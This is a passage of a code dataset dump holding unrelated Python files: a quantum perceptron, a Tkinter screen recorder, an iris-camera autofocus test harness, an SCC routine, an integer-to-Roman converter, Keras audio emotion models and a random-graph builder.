ceil(log2(m))\n A = np.array([])\n w_sent = phase_normalize(w, np.min(w), np.max(w))\n train_set_x_sent = phase_normalize(train_set_x, 0, 255)\n for pos,train_input in enumerate(train_set_x_sent):\n model = PerceptronCircuit(train_input, w_sent, n)\n qobj = assemble(model) \n counts = sim.run(qobj,shots = num_shots).result().get_counts()\n \n if \"1\" in counts:\n A = np.append(A,counts[\"1\"]/ num_shots)\n else:\n A = np.append(A,0.)\n return A\n\ndef get_dJ(w):\n phi = phase_normalize(w, np.min(w), np.max(w))\n theta = phase_normalize(train_set_x, 0, 255)\n set_size = train_set_x.shape[0]\n u = theta - phi # theta - phi\n c = np.cos(u) # cos(theta - phi)\n C = c.sum(axis = 1).reshape(1,set_size).T\n s = np.sin(u)\n S = s.sum(axis = 1).reshape(1,set_size).T\n A = (C * C + S * S) / 2**(2 * n)\n return (2 * (s*C - c*S) / 2**(2 * n)) * A/set_size\n\n\n\ndef get_A(w,train_set_x,n):## Função exata de A\n phi = phase_normalize(w, np.min(w), np.max(w))\n theta = phase_normalize(train_set_x, 0, 255)\n set_size = train_set_x.shape[0]\n u = theta - phi \n c = np.cos(u) \n C = c.sum(axis = 1).reshape(1,set_size).T\n s = np.sin(u)\n S = s.sum(axis = 1).reshape(1,set_size).T\n return (C * C + S * S) / 2**(2 * n)\n\n\ndef loss_func(w):\n A = get_activation(w,train_set_x_gb,8192)\n diff = A.reshape(set_size,1) - train_set_y_gb.reshape(set_size,1)\n cost = np.sum(diff ** 2) / set_size\n print(\"Custo: {}\\n\".format(cost))\n save_model(w, -1)\n return cost\n \ndef powerseries_f(eta=0.01, power=2, offset=0):\n k = 1\n while True:\n yield eta / ((k + offset) ** power)\n k += 1\n\ndef learning_rate_f():\n return powerseries_f(50.860244892404292, 0.602, 0)\n\ndef perturbation_f():\n return powerseries_f(0.1, 0.101)\n\ndef optimize(w,train_x,train_y, Hyperparameters):\n global train_set_x_gb\n global train_set_y_gb\n global set_size\n train_set_x_gb = train_x\n train_set_y_gb = train_y\n\n set_size = len(train_set_y_gb)\n\n\n spsa = SPSA(maxiter=Hyperparameters[\"iterations\"],learning_rate = learning_rate_f, perturbation = perturbation_f)\n result = spsa.optimize(num_vars=1,objective_function=loss_func,gradient_function=get_dJ, initial_point = w)\n return result[0],result[1]","repo_name":"daviyan5/QuantumPerceptron","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30904894900","text":"#Author: Andrew Otto B\n#If you're looking for a skilled Python, C++, Java, C#, or JavaScript developer\n#Contact me: twitter.com/@ARPPoisoning\n\n#Guide for Debian/Ubuntu-based distributions. If you're using a Arch-based distribution, replace apt-get with pacman -S.\n#Prequisites:\n#sudo apt-get install ffmpeg\n#sudo apt-get install python-tk\n#sudo apt-get install python-pil\n#sudo apt install python-pip\n#pip install pyscreenshot\n\n\nfrom Tkinter import *\nfrom threading import Thread\nfrom os.path import expanduser\nimport os\nimport time\nimport tkFont\nimport pyscreenshot\n\ndef recThread():\n os.system(\"ffmpeg -video_size 1366x768 -framerate 30 -f x11grab -i :0.0 -f pulse -ac 2 -i 0 $(date +%d%b_%Hh%Mm).mkv\")\ndef rec():\n b.config(state=DISABLED)\n b1.config(state=ACTIVE)\n t = Thread(target=recThread)\n t.start()\n global count_flag, secs, mins\n count_flag = True\n secs=0\n mins=0\n while True:\n if count_flag == False:\n break\n label['text'] = str(\"%02dm:%02ds\" % (mins,secs))\n if secs == 0:\n time.sleep(0)\n else:\n time.sleep(1)\n if(mins==0 and secs==1):\n b1.config(bg=\"red\")\n b.config(fg=\"red\")\n b.config(bg=\"red\")\n if secs==60:\n secs=0\n mins+=1\n label['text'] = str(\"%02dm:%02ds\" % (mins,secs))\n root.update()\n secs = secs+1\ndef stop():\n\n b.config(state=ACTIVE)\n b1.config(state=DISABLED)\n b1.config(fg=\"green\")\n b1.config(bg=\"green\")\n b.config(fg=\"green\")\n b.config(bg=\"green\")\n global count_flag\n count_flag = False\n os.system(\"pkill -n ffmpeg\")\n try:\n t.stop()\n except:\n print(\"\")\n\ndef screenshot():\n im = pyscreenshot.grab()\n im.save('screenshot.png')\n\n \n\nroot = Tk()\nfontTime = tkFont.Font(family=\"Franklin Gothic\", size=12)\nfontButton = tkFont.Font(family=\"Times New Roman\", size=11,weight=\"bold\")\nlabel = Label(root, text=\"00m:00s\",fg=\"blue\",font=\"fontTime\")\nb = Button(root,text=\"Record\",command=rec,state=ACTIVE,bg=\"green\",font=\"fontButton\")\nb1 = Button(root,text=\"Stop\",command=stop,state=DISABLED,bg=\"red\",font=\"fontButton\")\nb2 = Button(root, text = \"Screenshot\",command=screenshot,bg=\"orange\",font=\"fontButton\")\nl = Label(root, text=\"\")\nl1 = Label(root, text=\"\")\nlabel.grid(row=0, column=0, columnspan=2)\nb.grid(row=1, column=0, padx=1, pady=5)\nb1.grid(row=1, column=1, padx=1)\nb2.grid(row=1, column=2, padx=1)\nl.grid(row=2, column=0,columnspan=2)\nl1.grid(row=3, column=0,columnspan=2)\nroot.minsize(280,105)\nroot.maxsize(280,105)\nroot.title(\"Linux Screen Recorder\")\nroot.attributes(\"-topmost\", 1)\nroot.mainloop()\n","repo_name":"Exploitability/Linux-Screen-Recorder","sub_path":"LinuxScreenRecorder/linuxscreenrecorder.py","file_name":"linuxscreenrecorder.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38466963718","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 24 16:20:56 2018\n\n@author: manucastilla\n\"\"\"\n\nimport tkinter as tk\n\ndef diz_oi():\n print (\"boa\")\n\nwindow = tk.Tk()\n\nbotao = tk.Button(window)\nbotao.configure(text=\"aperta aqui!\")\nbotao.configure(command=diz_oi)\nbotao.grid()\n\nwindow.mainloop()","repo_name":"AmandaRM/EP--design-de-software","sub_path":"aulatk.py","file_name":"aulatk.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71650364964","text":"import os\nimport cv2\nimport time\nimport pickle\nimport random\nimport os.path as osp\nfrom tqdm import tqdm\n\nimport torch\nimport numpy as np\n\nfrom Camera.BaseCamera import BaseCamera, fmeasure\n\n\n# #######################################################################\ndef get_sequence_list(img_list, label_list):\n seq_list = []\n _seq_list = []\n for l in label_list:\n imglist = sorted(img_list[l])\n idx = 0\n while idx < 54:\n num = np.random.randint(int(0.5 * len(imglist)), len(imglist))\n start = np.random.randint(0, len(imglist) - num)\n seq = imglist[start:start + num]\n m = np.abs(np.array([x[3] for x in seq])).min()\n if m > 0.01:\n continue\n _seq = '{}{}{}'.format(seq[0][0].split('_')[0], start, num)\n if _seq not in _seq_list:\n seq_list.append(seq)\n _seq_list.append(_seq)\n idx += 1\n np.random.shuffle(seq_list)\n return seq_list\n\n\ndef rand(size=1, range=1):\n assert (isinstance(size, int)\n or isinstance(size, tuple)), 'size must be int or tuple'\n if isinstance(size, int):\n size = (size, )\n return (np.random.rand(*size) - 0.5) * 2 * range\n\n\ndef img_lrud_move(img, x=0, y=0):\n '''\n left-right-up-down movement\n '''\n h, w = img.shape\n\n if x > 0:\n img = np.pad(img, ((0, 0), (0, x)), 'edge')\n img = img[:, x:w + x]\n elif x < 0:\n img = np.pad(img, ((0, 0), (np.abs(x), 0)), 'edge')\n img = img[:, :w]\n if y > 0:\n img = np.pad(img, ((0, y), (0, 0)), 'edge')\n img = img[y:h + y, :]\n elif y < 0:\n img = np.pad(img, ((np.abs(y), 0), (0, 0)), 'edge')\n img = img[:h, :]\n return img\n\n\ndef init_move(fb_move,\n lrud_move,\n max_fb_move=0.25,\n max_lrud_move=0.15,\n max_frame=50):\n lrud_move = str(lrud_move)\n fb_move = str(fb_move)\n if lrud_move.lower() == 'random':\n lrud_move = random.choice(\n ['linear', 'cos', 'rlinear', 'rcos', 'random', 'none'])\n if fb_move.lower() == 'random':\n fb_move = random.choice(\n ['linear', 'cos', 'rlinear', 'rcos', 'random', 'none'])\n\n if fb_move.lower() == 'linear':\n start, end = np.sort(rand(2))\n fb_move = np.linspace(start, end, max_frame) * max_fb_move\n elif fb_move.lower() == 'cos':\n start, end = np.sort(rand(2, 4 * np.pi))\n fb_move = np.cos(np.linspace(start, end, max_frame)) * max_fb_move\n elif fb_move.lower() == 'rlinear':\n start, end = np.sort(rand(2))\n fb_move = (np.sort(np.random.uniform(start, end, max_frame)) +\n np.random.normal(0, 0.5, max_frame) * 0.2) * max_fb_move\n elif fb_move.lower() == 'rcos':\n start, end = np.sort(rand(2, 4 * np.pi))\n fb_move = (np.cos(np.sort(np.random.uniform(start, end, max_frame))) +\n np.random.normal(0, 0.5, max_frame) * 0.2) * max_fb_move\n elif fb_move.lower() == 'random':\n fb_move = np.random.normal(0, 0.5, max_frame) * max_fb_move\n else:\n fb_move = None\n\n if lrud_move.lower() == 'linear':\n start, end = np.sort(rand((2, 2)), axis=0)\n lrud_move = np.stack(\n (np.linspace(start[0], end[0],\n max_frame), np.linspace(start[1], end[1], max_frame)),\n axis=1) * max_lrud_move\n elif lrud_move.lower() == 'cos':\n start, end = np.sort(rand((2, 2), 4 * np.pi), axis=0)\n lrud_move = np.cos(\n np.stack((np.linspace(start[0], end[0], max_frame),\n np.linspace(start[1], end[1], max_frame)),\n axis=1)) * max_lrud_move\n elif lrud_move.lower() == 'rlinear':\n start, end = np.sort(rand((2, 2)), axis=0)\n lrud_move = (np.stack(\n (np.sort(np.random.uniform(start[0], end[0], max_frame)),\n np.sort(np.random.uniform(start[1], end[1], max_frame))),\n axis=1) + np.random.normal(0, 0.5,\n (max_frame, 2)) * 0.2) * max_lrud_move\n elif lrud_move.lower() == 'rcos':\n start, end = np.sort(rand((2, 2), 4 * np.pi), axis=0)\n lrud_move = (np.cos(\n np.stack((np.sort(np.random.uniform(start[0], end[0], max_frame)),\n np.sort(np.random.uniform(start[1], end[1], max_frame))),\n axis=1)) +\n np.random.normal(0, 0.5,\n (max_frame, 2)) * 0.2) * max_lrud_move\n elif lrud_move.lower() == 'random':\n lrud_move = np.random.normal(0, 0.5, (max_frame, 2)) * max_lrud_move\n else:\n lrud_move = None\n if lrud_move is not None:\n lrud_move = lrud_move\n return fb_move, lrud_move\n\n\n# #######################################################################\nclass VirtualCamera(BaseCamera):\n def __init__(self,\n seq,\n mode='norm',\n max_frame=30,\n min_ele=0,\n max_ele=530,\n move_type=(None, None),\n is_save_result=True,\n is_save_img=True,\n is_display=False,\n is_display_info=True) -> None:\n super().__init__(min_ele, max_ele, is_save_result, is_save_img,\n is_display, is_display_info)\n self.seq = seq\n self.mode = mode\n self.dis_mode = mode\n self.max_frame = max_frame\n\n self.basepath = 'dataset/HutIris-Blur/png'\n self.len_range = np.array([int(x[0].split('_')[2]) for x in seq])\n self.min_ele = self.len_range.min()\n self.max_ele = self.len_range.max()\n\n self.seq = {int(x[0].split('_')[2]): x for x in seq}\n\n self.move_type = move_type\n self.fb_move, self.lrud_move = init_move(move_type[0],\n move_type[1],\n max_frame=max_frame)\n\n self._config()\n\n def _find_side(self, target):\n idx = np.abs(self.len_range - int(target)).argmin()\n p1 = self.len_range[idx]\n if p1 > target and idx - 1 > 0:\n p2 = self.len_range[idx - 1]\n elif p1 < target and idx + 1 < len(self.len_range):\n p2 = self.len_range[idx + 1]\n else:\n p2 = p1\n return p1, p2\n\n def _getimg(self, pos=None, loc=True):\n # fb move\n if self.fb_move is not None:\n offset_z = self.fb_move[self.frame_num % self.max_frame]\n offset_z = int(offset_z * (self.max_ele - self.min_ele))\n pos += offset_z\n\n if pos in self.len_range:\n img, roi = self._load_img(self.seq[pos])\n else:\n pos1, pos2 = self._find_side(pos)\n if np.abs(pos1 - pos2) < 1:\n img, roi = self._load_img(self.seq[pos1])\n else:\n img1, roi1 = self._load_img(self.seq[pos1])\n img2, roi2 = self._load_img(self.seq[pos2])\n alpha1 = np.abs(pos1 - pos) / np.abs(pos1 - pos2)\n alpha2 = np.abs(pos2 - pos) / np.abs(pos1 - pos2)\n img = alpha1 * img1.astype(np.double) + alpha2 * img2.astype(\n np.double)\n img = np.clip(np.round(img), 0, 255).astype(np.uint8)\n roi = np.round(alpha1 * np.array(roi1) +\n alpha2 * np.array(roi2)).astype(np.int)\n assert np.all(roi > 0)\n\n # lrud move\n if self.lrud_move is not None:\n offset_x, offset_y = self.lrud_move[self.frame_num %\n self.max_frame]\n offset_x = int(offset_x * img.shape[1])\n offset_y = int(offset_y * img.shape[0])\n img = img_lrud_move(img, offset_x, offset_y)\n roi = roi - np.array([offset_x, offset_y, 0])\n\n return img, roi.tolist()\n\n def _load_img(self, info, resize=True):\n _path = osp.join(self.basepath, info[0] + '.png')\n img = cv2.imread(_path, cv2.IMREAD_GRAYSCALE)\n roi = np.array([\n [\n int((info[-1][0])),\n int((info[-1][1])),\n int((info[-1][2])),\n ],\n [\n int((info[-1][3])),\n int((info[-1][4])),\n int((info[-1][5])),\n ],\n ])\n if resize:\n img = cv2.resize(img, None, fx=0.125, fy=0.125)\n roi = np.round(roi * 0.125).astype(np.int)\n return img, roi\n\n def _loop(self):\n if self.mode == 'fib':\n self.fibonacci_search()\n while self.frame_num < self.max_frame:\n self.get_img()\n if self.key == ord('q'):\n break\n elif self.mode == 'fast':\n self.fast_tracking(self.max_frame)\n else:\n if self.is_display:\n if self.move_type[0] is not None or self.move_type[\n 1] is not None:\n while self.frame_num < self.max_frame:\n self.get_img()\n if self.key == ord('q'):\n break\n else:\n while self.cur_ele < self.max_ele:\n self.get_img(self.cur_ele)\n self.cur_ele += 1\n if self.key == ord('q'):\n break\n if self.is_display:\n cv2.destroyAllWindows()\n return 0\n\n def _final(self):\n if self.is_save_result:\n img_num = len(self.saved_result['img'])\n ele = np.array(self.saved_result['ele'])\n ele = (ele - ele.min()) / (ele.max() - ele.min())\n self.saved_result['ele_norm'] = ele\n\n if len(self.saved_result['gt_roi']) > 0:\n roi = self.saved_result['gt_roi']\n elif len(self.saved_result['roi']) > 0:\n roi = self.saved_result['roi']\n else:\n roi = [None for _ in range(img_num)]\n fm = [\n fmeasure(self.saved_result['img'][idx], roi[idx])\n for idx in range(img_num)\n ]\n self.saved_result['focus'] = np.array(fm)\n self.saved_result['seq'] = self.seq\n self.saved_result['move'] = (self.fb_move, self.lrud_move)\n if not self.is_save_img:\n del self.saved_result['img']\n\n\n# #######################################################################\ndef debug():\n with open('dataset/HutIris-Blur/meta_info.pkl', \"rb\") as f:\n meta_info = pickle.load(f)\n img_list = meta_info['label2']\n label_list = meta_info['split'][2]\n seq_list = get_sequence_list(img_list, label_list)\n\n cam = VirtualCamera(seq_list[5],\n max_frame=30,\n mode='fast',\n move_type=(None, None),\n is_save_img=False,\n is_save_result=True)\n cam.run()\n\n\ndef test():\n with open('dataset/HutIris-Blur/meta_info.pkl', \"rb\") as f:\n meta_info = pickle.load(f)\n img_list = meta_info['label2']\n label_list = meta_info['split'][2]\n seq_list = get_sequence_list(img_list, label_list)\n\n print('1/4 fib stay')\n result = []\n # for seq in tqdm(seq_list[:-5]):\n # cam = VirtualCamera(\n # seq,\n # max_frame=30,\n # mode='fib',\n # move_type=(None, None),\n # is_save_img=False,\n # is_save_result=True,\n # is_display=False,\n # )\n # cam.run()\n # result.append(cam.saved_result)\n for seq in tqdm(seq_list[-5:]):\n cam = VirtualCamera(\n seq,\n max_frame=30,\n mode='fib',\n move_type=(None, None),\n is_save_img=True,\n is_save_result=True,\n is_display=False,\n )\n cam.run()\n result.append(cam.saved_result)\n torch.save(result, 'Camera/result/fibstay.pth')\n\n print('2/4 fib move')\n result = []\n # for seq in tqdm(seq_list[:-5]):\n # cam = VirtualCamera(\n # seq,\n # max_frame=30,\n # mode='fib',\n # move_type=('cos', 'cos'),\n # is_save_img=False,\n # is_save_result=True,\n # is_display=False,\n # )\n # cam.run()\n # result.append(cam.saved_result)\n for seq in tqdm(seq_list[-5:]):\n cam = VirtualCamera(\n seq,\n max_frame=30,\n mode='fib',\n move_type=('cos', 'cos'),\n is_save_img=True,\n is_save_result=True,\n is_display=False,\n )\n cam.run()\n result.append(cam.saved_result)\n torch.save(result, 'Camera/result/fibmove.pth')\n\n print('3/4 fast stay')\n result = []\n # for seq in tqdm(seq_list[:-5]):\n # cam = VirtualCamera(\n # seq,\n # max_frame=30,\n # mode='fast',\n # move_type=(None, None),\n # is_save_img=False,\n # is_save_result=True,\n # is_display=False,\n # )\n # cam.run()\n # result.append(cam.saved_result)\n for seq in tqdm(seq_list[-5:]):\n cam = VirtualCamera(\n seq,\n max_frame=30,\n mode='fast',\n move_type=(None, None),\n is_save_img=True,\n is_save_result=True,\n is_display=False,\n )\n cam.run()\n result.append(cam.saved_result)\n torch.save(result, 'Camera/result/faststay.pth')\n\n print('4/4 fast move')\n result = []\n # for seq in tqdm(seq_list[:-5]):\n # cam = VirtualCamera(\n # seq,\n # max_frame=30,\n # mode='fast',\n # move_type=('cos', 'cos'),\n # is_save_img=False,\n # is_save_result=True,\n # is_display=False,\n # )\n # cam.run()\n # result.append(cam.saved_result)\n for seq in tqdm(seq_list[-5:]):\n cam = VirtualCamera(\n seq,\n max_frame=30,\n mode='fib',\n move_type=('cos', 'cos'),\n is_save_img=True,\n is_save_result=True,\n is_display=False,\n )\n cam.run()\n result.append(cam.saved_result)\n torch.save(result, 'Camera/result/fastmove.pth')\n\n\ndef show():\n with open('dataset/HutIris-Blur/meta_info.pkl', \"rb\") as f:\n meta_info = pickle.load(f)\n img_list = meta_info['label2']\n label_list = meta_info['split'][2]\n seq_list = get_sequence_list(img_list, label_list)\n seq_list = np.random.choice(seq_list, 5)\n\n for seq in tqdm(seq_list):\n cam = VirtualCamera(\n seq,\n max_frame=np.random.randint(45, 75),\n mode='fast',\n move_type=('none', 'none'),\n is_save_img=True,\n is_save_result=True,\n is_display=True,\n )\n cam.run()\n result = cam.saved_result\n dst = 'D:/Code/FocusTracker/Camera/result/fast_stay_{}'.format(\n int(time.time()))\n os.makedirs(dst)\n for idx in range(len(result['ele'])):\n frame = result['img'][idx]\n text = 'frame:{} fm:{} ele:{}'.format(idx,\n int(result['focus'][idx]),\n int(result['ele'][idx]))\n cv2.putText(frame, text, (5, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5,\n (255, 255, 255), 1, cv2.LINE_AA)\n cv2.imwrite('{}/{:0>2d}.png'.format(dst, idx), frame)\n\n\n# #######################################################################\n\nif __name__ == \"__main__\":\n show()","repo_name":"Debatrix/AquulaCam","sub_path":"Camera/autoFocus_test.py","file_name":"autoFocus_test.py","file_ext":"py","file_size_in_byte":15798,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"31778892039","text":"#!/usr/bin/env python\n'''\n@FileName : partition.py\n@Description : DAG could be partitioned into two independent subsets.\n@Date : 2022/12/14 17:42:53\n@Author : Wiger\n@version : 1.0\n'''\ndef divide_into_independent_subsets(graph):\n # Create a reversed copy of the graph\n reversed_graph = {vertex: set() for vertex in graph}\n for vertex, edges in graph.items():\n for neighbor in edges:\n reversed_graph[neighbor].add(vertex)\n\n # Initialize the stack and visited set\n stack = []\n visited = set()\n\n # Depth-first search on the reversed graph to get the finish times of the vertices\n def dfs(vertex):\n visited.add(vertex)\n for neighbor in reversed_graph[vertex]:\n if neighbor not in visited:\n dfs(neighbor)\n stack.append(vertex)\n\n for vertex in reversed_graph:\n if vertex not in visited:\n dfs(vertex)\n\n # Initialize the strongly connected components\n sccs = []\n\n # Clear the visited set\n visited.clear()\n\n # Depth-first search on the original graph to find the strongly connected components\n def dfs(vertex, scc):\n visited.add(vertex)\n scc.add(vertex)\n for neighbor in graph[vertex]:\n if neighbor not in visited:\n dfs(neighbor, scc)\n\n while stack:\n vertex = stack.pop()\n if vertex not in visited:\n scc = set()\n dfs(vertex, scc)\n sccs.append(scc)\n\n # Return the strongly connected components\n return sccs\n\ngraph = {\n '1': {'2', '3'},\n '2': {'4'},\n '3': {'4'},\n '4': {'5'},\n '5': {'6'},\n '6': {'1'},\n '7': {'7'},\n '8': {'9'},\n '9': {'8'}\n}\n\nsccs = divide_into_independent_subsets(graph)\nprint(sccs)\n","repo_name":"wigerwei/state-verification-machine","sub_path":"dag/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"14736423849","text":"class Solution:\n def intToRoman(self,num):\n romanSymbol = [\"I\",\"IV\",\"V\",\"IX\",\"X\",\"XL\",\"L\",\"XC\",\"C\",\"CD\",\"D\",\"CM\",\"M\"]\n romanVal = [1,4,5,9,10,40,50,90,100,400,500,900,1000]\n\n # romanSymbol = [\"I\",\"V\",\"X\",\"L\",\"C\",\"D\",\"M\"]\n # romanVal = [1,5,10,50,100,500,1000]\n\n n = num\n tuples = [(key, value) for i, (key, value) in enumerate(zip(romanVal, romanSymbol))]\n romanNum = dict(tuples)\n\n\n preSolution = []\n solution = \"\"\n i = 0 \n while n > 0: #Big O = 7n --> n --> linear \n while i < len(romanVal):\n print(\"note: \",n,\"compare\",romanVal[i],\"iteration\",i)\n if n <= 0:\n break\n if n == romanVal[i]:\n print(f\"Exact Case: {n}-{romanVal[i]} = {n-romanVal[i]}\")\n #print(romanVal[i])\n n -= romanVal[i]\n preSolution.append(romanVal[i])\n i = 0 \n \n #append answer to preSolution\n \n elif n < romanVal[i]: #main case where n is not exact so we find the nearest value\n # print(romanVal[i-1])\n print(f\"Nearest Val case: {n}-{romanVal[i-1]} = {n-romanVal[i-1]}\")\n n-= romanVal[i-1]\n preSolution.append(romanVal[i-1])\n i = 0 \n \n elif (n > 1000) :\n print(f\"Special Case: {n}-{1000} = {n-1000}\")\n n -= 1000 #1000 is the max value available for the roman number notation\n preSolution.append(1000)\n i = 0\n i += 1\n \n \n\n print(preSolution)\n\n for i in preSolution:\n solution += romanNum[i]\n \n return solution","repo_name":"prompto416/leetcode-competitive-programming-questions","sub_path":"medium/integerToRoman/integerToRoman.py","file_name":"integerToRoman.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72429268005","text":"__author__ = \"kdhht5022@gmail.com\"\nfrom keras.regularizers import l2\nfrom sklearn.cross_validation import train_test_split\nfrom six.moves import xrange\nfrom keras.layers import LSTM, Dense, Dropout, Activation, Flatten, Lambda\nfrom keras.layers import MaxPooling1D, MaxPooling2D, AveragePooling2D, MaxPooling3D\nfrom keras.layers import Conv1D, Conv2D, Conv3D, GlobalAveragePooling2D, GlobalMaxPooling2D\nfrom keras.layers.convolutional_recurrent import ConvLSTM2D, ConvRecurrent2D\nfrom keras.engine import Input, Model\n\nfrom keras.callbacks import Callback, LearningRateScheduler, ModelCheckpoint, EarlyStopping\nfrom keras.preprocessing.image import ImageDataGenerator\nimport json\nimport keras\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import SGD, Adam\nfrom keras import backend as K\n\nfrom keras.models import Sequential\nfrom keras.layers.embeddings import Embedding\nfrom keras.utils.data_utils import get_file\n\nfrom keras.layers.wrappers import TimeDistributed, Bidirectional\nimport numpy as np\n\nfrom keras.layers.wrappers import TimeDistributed, Bidirectional\nfrom keras.layers.recurrent import SimpleRNN, GRU\n\nimport warnings\nfrom keras.utils import layer_utils\n\n\n\nif __name__ == \"__main__\":\n\n from util import Util as util\n X_data_name_1 = '/your/path/train/x_train.npz'\n y_data_name_1 = '/your/path/train/y_train.npz'\n X_data_name_2 = '/your/path/test/x_test.npz'\n y_data_name_2 = '/your/path/test/y_test.npz'\n X_train, y_train = util.load_from_npz(X_data_name_1), util.load_from_npz(y_data_name_1)\n X_test, y_test = util.load_from_npz(X_data_name_2), util.load_from_npz(y_data_name_2)\n\n def normalize(X_train, X_test):\n mean = np.mean(X_train,axis=0)\n std = np.std(X_train, axis=0)\n X_train = (X_train-mean)/(std+1e-7)\n X_test = (X_test-mean)/(std+1e-7)\n return X_train, X_test\n \n # data normalize\n X_train, X_test = normalize(X_train, X_test)\n \n X_train = X_train.reshape(1464,1,577)\n X_test = X_test.reshape(383,1,577)\n\n \n # one-hot\n from keras.utils import np_utils\n nb_classes = 7\n y_train = np_utils.to_categorical(y_train, nb_classes).astype(np.float32)\n y_test = np_utils.to_categorical(y_test, nb_classes).astype(np.float32)\n\n from keras.layers.merge import concatenate, add\n def audio_clstm(inputs):\n x = GRU(577, return_sequences=True)(inputs)\n x = Dropout(0.8)(x)\n # x = concatenate( [x1, x2] )\n x = GRU(577, return_sequences=True)(x)\n x = Dropout(0.8)(x)\n x = GRU(577, return_sequences=True)(x)\n x = Dropout(0.8)(x)\n x = GRU(577)(x)\n x = Dropout(0.8)(x)\n x = Dense(7, activation='softmax')(x)\n \n return x\n \n # Case 1: CLSTM\n # from keras.layers.merge import concatenate, add\n inputs = Input(shape=(1,577))\n\n out = audio_clstm(inputs)\n model_clstm = Model(inputs=[inputs], outputs=[out])\n model_clstm.summary()\n\n sgd = SGD(lr=1e-3, decay=1e-6, momentum=0.9, nesterov=True)\n model_clstm.compile(optimizer='adam', \n loss='categorical_crossentropy', \n metrics=['accuracy'])\n \n mc = keras.callbacks.ModelCheckpoint('/your/path/checkpoint-clstm/model_clstm_weights.{epoch:02d}-{loss:.2f}-{val_acc:.2f}.h5', monitor='val_acc', verbose=1, save_best_only=False, save_weights_only=True, mode='auto', period=1)\n model_clstm.fit(X_train_2nd, y_train_2nd, batch_size=4, validation_data=(X_test, y_test), \n shuffle=True, epochs=50, callbacks=[mc])\n \n # Save model information in yaml and weight\n open('/your/path/checkpoint-clstm/model_audio_clstm.yaml', 'w').write(model_clstm.to_yaml())\n proba_clstm = model_clstm.predict_on_batch(X_test)\n \n # Case 2: Bidirectional LSTM model\n model_Bilstm = Sequential()\n model_Bilstm.add(LSTM(577, return_sequences=True,\n input_shape=(1,577)))\n model_Bilstm.add(Dropout(0.8))\n model_Bilstm.add(Bidirectional(LSTM(577, return_sequences=True)))\n model_Bilstm.add(Dropout(0.8))\n model_Bilstm.add(Bidirectional(LSTM(577)))\n model_Bilstm.add(Dropout(0.8))\n model_Bilstm.add(Dense(7, activation='softmax'))\n model_Bilstm.summary()\n \n sgd = SGD(lr=1e-3, decay=1e-6, momentum=0.9, nesterov=True)\n model_Bilstm.compile(optimizer=sgd, \n loss='categorical_crossentropy', \n metrics=['accuracy'])\n \n mc = keras.callbacks.ModelCheckpoint('/your/path/checkpoint-Bilstm/model_Bilstm_weights.{epoch:02d}-{loss:.2f}-{val_acc:.2f}.h5', monitor='val_acc', verbose=1, save_best_only=True, save_weights_only=True, mode='auto', period=1)\n model_Bilstm.fit(X_train_2nd, y_train_2nd, batch_size=4, validation_data=(X_test, y_test), \n shuffle=True, epochs=50, callbacks=[mc])\n \n # Case 3: LSTM model\n model_lstm = Sequential()\n model_lstm.add(LSTM(577, return_sequences=True,\n input_shape=(1,577)))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(LSTM(577, return_sequences=True))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(LSTM(577))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(Dense(7, activation='softmax'))\n model_lstm.summary()\n \n sgd = SGD(lr=1e-3, decay=1e-6, momentum=0.9, nesterov=True)\n model_lstm.compile(optimizer=sgd, \n loss='categorical_crossentropy', \n metrics=['accuracy'])\n \n mc = keras.callbacks.ModelCheckpoint('/your/path/checkpoint-lstm/model_lstm_weights.{epoch:02d}-{loss:.2f}-{val_acc:.2f}.h5', monitor='val_acc', verbose=1, save_best_only=True, save_weights_only=True, mode='auto', period=1)\n model_lstm.fit(X_train, y_train, batch_size=4, validation_data=(X_test, y_test), \n shuffle=True, epochs=200, callbacks=[mc])\n\n \n # Case 3: LSTM\n model_lstm = Sequential()\n model_lstm.add(LSTM(577, return_sequences=True,\n input_shape=(1,577)))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(LSTM(577, return_sequences=True))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(LSTM(577))\n model_lstm.add(Dropout(0.8))\n model_lstm.add(Dense(7, activation='softmax'))\n model_lstm.summary()\n \n sgd = SGD(lr=1e-3, decay=1e-6, momentum=0.9, nesterov=True)\n model_lstm.compile(optimizer=sgd, \n loss='categorical_crossentropy', \n metrics=['accuracy'])\n \n mc = keras.callbacks.ModelCheckpoint('/your/path/checkpoint-lstm/model_lstm_weights.{epoch:02d}-{loss:.2f}.h5', monitor='val_loss', verbose=1, save_best_only=False, save_weights_only=True, mode='auto', period=1)\n model_lstm.fit(X_train_2nd, y_train_2nd, batch_size=4, validation_data=(X_test, y_test), \n shuffle=True, epochs=50, callbacks=[mc])\n","repo_name":"InhaDeeplearningGroup/EmotiW_2017","sub_path":"audio_based/audio_lstm.py","file_name":"audio_lstm.py","file_ext":"py","file_size_in_byte":6869,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"28974741802","text":"#!/usr/bin/python -tt\n\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport random as rd\nimport sys\nimport itertools as it\n\ndef ER(n, z, s):\n\tG=nx.Graph()\n\tG.add_nodes_from(range(n))\n\tedges=it.combinations(range(n),2) #builds tuples of (0,1) (0,2) to (n,n-1)\n\tp=float(z)/float(n)\n\trd.seed(s)\n\n\tfor e in edges:\n\t\tif rd.random() int:\n g = defaultdict(list)\n vis = set()\n res = n * (n-1) // 2\n def 